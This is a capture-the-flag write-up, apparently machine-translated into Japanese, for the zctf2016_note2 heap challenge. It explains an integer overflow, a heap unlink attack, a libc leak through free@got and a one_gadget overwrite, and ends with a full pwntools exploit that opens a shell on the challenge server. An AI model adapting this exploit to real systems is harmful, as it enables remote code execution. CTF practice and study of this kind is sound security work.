[BUUCTF] PWN-zctf2016_note2(リンク解除)

zctf2016_note2

別館

ステップ

  1. 定期検査、64ビットプログラム、カナリア、nxが有効になっている
    ここに画像の説明を挿入します
  2. 一般的な状況、古典的なスタッキングメニューを確認するために試してみてください
    ここに画像の説明を挿入します
  3. プログラムを見やすくするために64ビットidaがロードされています
    。unsigned_int64の
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ときに関数名New_note()を変更しましたが、forループのiはint64でした。C言語では、符号なし変数と符号付き変数は誰もが知っています。比較する場合、符号付き変数は比較のために符号なし変数に変換されます。だからここでサイズが0のとき。(unsigned int)(size-1)は非常に大きな整数であり、整数オーバーフローの脆弱性があります
    show_note()
    ここに画像の説明を挿入します
    edit_note()、1は上書き、2はadd
    ここに画像の説明を挿入します
    delete_note()
    ここに画像の説明を挿入します

アイデアを使う

  1. 要求されたヒープブロックのポインターはbssセグメントに配置されるため、ポインターのアドレスを知ることができるため、unlinkの使用を検討してください。unlinkを使用して、チャンクを格納しているptr配列に割り当てます。
  2. チャンクのアドレスを取得したテーブルのアドレスに変更して、libcをリークします
  3. 編集関数を使用してfree @ gotをシステム関数のアドレスに変更し、プログラムを再度実行して、パラメータ「/ bin / sh \ x00」を入力します。つまり、system( "/ bin / sh")を実行します。シェルを取得します。

利用プロセス:

  1. 1つ目は、リンク解除が
    最初にリンク解除中のヒープの理想的な状態を設計することです。その中で、chunk2が解放されます。後方マージを実行するときは、偽のチャンクPのリンクを解除します。最終的な結果は、ptr0が&ptr0-0x18を指す
    ここに画像の説明を挿入します
    ようにして、上の図に示すヒープ構造構築することです。
    チャンク0の偽のチャンクは、最初に新しいノートを呼び出すときに直接完了することができます。
    チャンク2のpre_sizeフィールドとsizeフィールドを完了するには、chunk1がオーバーフローする必要があります。チャンク0、チャンク1、チャンク2を申請した後、チャンク1を解放してfastbinに入れ、再度申請します。任意の長さの新しいメモを書き込む脆弱性のため、chunk1はオーバーフローしてchunk2のヘッダーを変更し、それによってfake_chunkのサイズに関するunlinkのチェックをバイパスします。
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2

delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2)
  1. libcをリーク
    してリンク解除完了すると、任意のアドレスで読み取りと書き込みが可能なスペースが得られます。このスペースを使用して、free @ gotをリークし、プログラムのオフセットを計算できます。
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)
gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

ここに画像の説明を挿入します

  1. オフセットを取得したら、free @ gotをone_gadgetに変更できます。
    最初はsystemに変更することを考えましたが、チャンクアドレスのコンテンツが削除時に解放されなかったため、system( '/ bin / sh'はできませんでした)実行))、one_gadgetに変更しました(get libc、レジスタのフルセットの条件下でone_gadgetを使用する方が便利です)、変更後、シェルを直接取得できます

完全な経験

#coding=utf-8
from pwn import *

io = remote('node3.buuoj.cn',29792)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")

#context.log_level = "debug"


def new_note(size, content):
    io.recvuntil(">>")
    io.sendline("1")
    io.recvuntil(")")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)

def show_note(index):
    io.recvuntil(">>")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(index))

def edit_note(index, choice, content):
    io.recvuntil(">>")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(index))
    io.recvuntil("]")
    io.sendline(str(choice))
    io.recvuntil(":")
    io.sendline(content)

def delete_note(index):
    io.recvuntil(">>")
    io.sendline("4")
    io.recvuntil(":")
    io.sendline(str(index))

io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')

io.interactive()

ここに画像の説明を挿入します
この質問は主にリンク解除の知識を使用しています。よくわからない場合は、私の前の記事を読むことができます
参照wp:https//blog.csdn.net/weixin_38419913/article/details/103333195

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113547320